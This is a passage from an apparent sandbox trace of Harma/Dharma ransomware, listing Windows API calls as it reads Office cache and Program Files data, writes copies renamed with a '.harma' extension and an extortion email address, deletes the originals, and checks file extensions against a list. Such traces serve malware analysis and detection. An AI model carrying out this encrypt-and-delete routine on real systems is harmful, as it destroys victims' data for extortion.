GetLastError () returned 0x0 [0041.553] ReadFile (in: hFile=0x19c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x412b, lpOverlapped=0x0) returned 1 [0041.556] WriteFile (in: hFile=0x188, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0041.558] ReadFile (in: hFile=0x19c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.558] WriteFile (in: hFile=0x188, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.558] SetEndOfFile (hFile=0x188) returned 1 [0041.558] CloseHandle (hObject=0x188) returned 1 [0041.570] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.570] SetEndOfFile (hFile=0x19c) returned 1 [0041.571] CloseHandle (hObject=0x19c) returned 1 [0041.572] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.573] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0041.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.573] lstrlenW (lpString=".doc") returned 4 [0041.573] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.573] lstrlenW (lpString=".docx") returned 5 [0041.573] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.573] lstrlenW (lpString=".pdf") returned 4 [0041.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.573] lstrlenW (lpString=".xls") returned 4 [0041.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.573] lstrlenW (lpString=".xlsx") returned 5 [0041.573] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.573] lstrlenW (lpString=".ppt") returned 4 [0041.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.573] lstrlenW (lpString=".zip") returned 4 [0041.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.573] lstrlenW (lpString=".rar") returned 4 [0041.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.573] lstrlenW (lpString=".bz2") returned 4 [0041.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString=".7z") returned 3 [0041.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.574] lstrlenW (lpString=".dbf") returned 4 [0041.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.574] lstrlenW (lpString=".1cd") returned 4 [0041.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.574] lstrlenW (lpString=".jpg") returned 4 [0041.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.574] lstrlenW (lpString=".doc") returned 4 [0041.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString=".docx") returned 5 [0041.574] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.574] lstrlenW (lpString=".pdf") returned 4 [0041.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString=".xls") returned 4 [0041.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.574] lstrlenW (lpString=".xlsx") returned 5 [0041.574] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.574] lstrlenW (lpString=".ppt") returned 4 [0041.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.575] lstrlenW (lpString=".zip") returned 4 [0041.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.575] lstrlenW (lpString=".rar") returned 4 [0041.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.575] lstrlenW (lpString=".bz2") returned 4 [0041.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.575] lstrlenW (lpString=".7z") returned 3 [0041.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.575] lstrlenW (lpString=".dbf") returned 4 [0041.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.575] lstrlenW (lpString=".1cd") returned 4 [0041.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.575] lstrlenW (lpString=".jpg") returned 4 [0041.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.177] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0042.177] lstrlenW (lpString="VisiorWW.xml") returned 12 [0042.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0043.785] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8723) returned 1 [0043.785] CloseHandle (hObject=0x184) returned 1 [0043.785] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0043.785] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0043.785] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0043.786] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.786] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.786] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.786] GetLastError () returned 0x0 [0043.786] ReadFile (in: hFile=0x184, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x2213, lpOverlapped=0x0) returned 1 [0043.788] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2220, lpOverlapped=0x0) returned 1 [0043.789] ReadFile (in: hFile=0x184, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.789] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.789] SetEndOfFile (hFile=0x1a4) returned 1 [0043.789] CloseHandle (hObject=0x1a4) returned 1 [0044.115] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.115] SetEndOfFile (hFile=0x184) returned 1 [0044.116] CloseHandle (hObject=0x184) returned 1 [0044.116] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0044.144] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0044.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.144] lstrlenW (lpString=".doc") returned 4 [0044.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString=".docx") returned 5 [0044.145] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.145] lstrlenW (lpString=".pdf") returned 4 [0044.145] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString=".xls") returned 4 [0044.145] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString=".xlsx") returned 5 [0044.145] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.145] lstrlenW (lpString=".ppt") returned 4 [0044.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.145] lstrlenW (lpString=".zip") returned 4 [0044.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.145] lstrlenW (lpString=".rar") returned 4 [0044.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString=".bz2") returned 4 [0044.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString=".7z") returned 3 [0044.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.145] lstrlenW (lpString=".dbf") returned 4 [0044.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.145] lstrlenW (lpString=".1cd") returned 4 [0044.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.145] lstrlenW (lpString=".jpg") returned 4 [0044.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.146] lstrlenW (lpString=".doc") returned 4 [0044.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString=".docx") returned 5 [0044.146] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.146] lstrlenW (lpString=".pdf") returned 4 [0044.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString=".xls") returned 4 [0044.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString=".xlsx") returned 5 [0044.146] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.146] lstrlenW (lpString=".ppt") returned 4 [0044.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.146] lstrlenW (lpString=".zip") returned 4 [0044.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.146] lstrlenW (lpString=".rar") returned 4 [0044.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString=".bz2") returned 4 [0044.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString=".7z") returned 3 [0044.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.146] lstrlenW (lpString=".dbf") returned 4 [0044.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.146] lstrlenW (lpString=".1cd") returned 4 [0044.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.146] lstrlenW (lpString=".jpg") returned 4 [0044.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.147] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0044.147] lstrlenW (lpString="boxed-split.avi") returned 15 [0044.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0045.299] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=62976) returned 1 [0045.299] CloseHandle (hObject=0x1d8) returned 1 [0045.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0045.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0045.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.624] lstrlenW (lpString=".doc") returned 4 [0046.624] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.624] lstrlenW (lpString=".docx") returned 5 [0046.624] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.624] lstrlenW (lpString=".pdf") returned 4 [0046.624] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.624] lstrlenW (lpString=".xls") returned 4 [0046.624] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.624] lstrlenW (lpString=".xlsx") returned 5 [0046.624] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.624] lstrlenW (lpString=".ppt") returned 4 [0046.624] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.624] lstrlenW (lpString=".zip") returned 4 [0046.624] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString=".rar") returned 4 [0046.625] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString=".bz2") returned 4 [0046.625] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString=".7z") returned 3 [0046.625] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.625] lstrlenW (lpString=".dbf") returned 4 [0046.625] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.625] lstrlenW (lpString=".1cd") returned 4 [0046.625] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.625] lstrlenW (lpString=".jpg") returned 4 [0046.625] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.625] lstrlenW (lpString=".doc") returned 4 [0046.625] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString=".docx") returned 5 [0046.625] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.625] lstrlenW (lpString=".pdf") returned 4 [0046.625] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString=".xls") returned 4 [0046.625] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.625] lstrlenW (lpString=".xlsx") returned 5 [0046.625] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.625] lstrlenW (lpString=".ppt") returned 4 [0046.625] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.626] lstrlenW (lpString=".zip") returned 4 [0046.626] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.626] lstrlenW (lpString=".rar") returned 4 [0046.626] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.626] lstrlenW (lpString=".bz2") returned 4 [0046.626] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.626] lstrlenW (lpString=".7z") returned 3 [0046.626] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.626] lstrlenW (lpString=".dbf") returned 4 [0046.626] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.626] lstrlenW (lpString=".1cd") returned 4 [0046.626] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.626] lstrlenW (lpString=".jpg") returned 4 [0046.626] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.626] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0046.626] lstrlenW (lpString="join.avi") returned 8 [0046.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.465] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=222208) returned 1 [0047.465] CloseHandle (hObject=0x1ec) returned 1 [0047.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0047.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.465] lstrlenW (lpString=".doc") returned 4 [0047.465] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.465] lstrlenW (lpString=".docx") returned 5 [0047.465] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0047.465] lstrlenW (lpString=".pdf") returned 4 [0047.465] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.465] lstrlenW (lpString=".xls") returned 4 [0047.465] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.466] lstrlenW (lpString=".xlsx") returned 5 [0047.466] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0047.466] lstrlenW (lpString=".ppt") returned 4 [0047.466] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.466] lstrlenW (lpString=".zip") returned 4 [0047.466] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.466] lstrlenW (lpString=".rar") returned 4 [0047.466] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.466] lstrlenW (lpString=".bz2") returned 4 [0047.466] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.466] lstrlenW (lpString=".7z") returned 3 [0047.466] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.474] lstrlenW (lpString=".dbf") returned 4 [0047.474] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.474] lstrlenW (lpString=".1cd") returned 4 [0047.474] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.474] lstrlenW (lpString=".jpg") returned 4 [0047.474] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.475] lstrlenW (lpString=".doc") returned 4 [0047.475] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString=".docx") returned 5 [0047.475] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0047.475] lstrlenW (lpString=".pdf") returned 4 [0047.475] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString=".xls") returned 4 [0047.475] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString=".xlsx") returned 5 [0047.475] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0047.475] lstrlenW (lpString=".ppt") returned 4 [0047.475] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.475] lstrlenW (lpString=".zip") returned 4 [0047.475] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString=".rar") returned 4 [0047.475] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString=".bz2") returned 4 [0047.475] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.475] lstrlenW (lpString=".7z") returned 3 [0047.475] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0047.476] 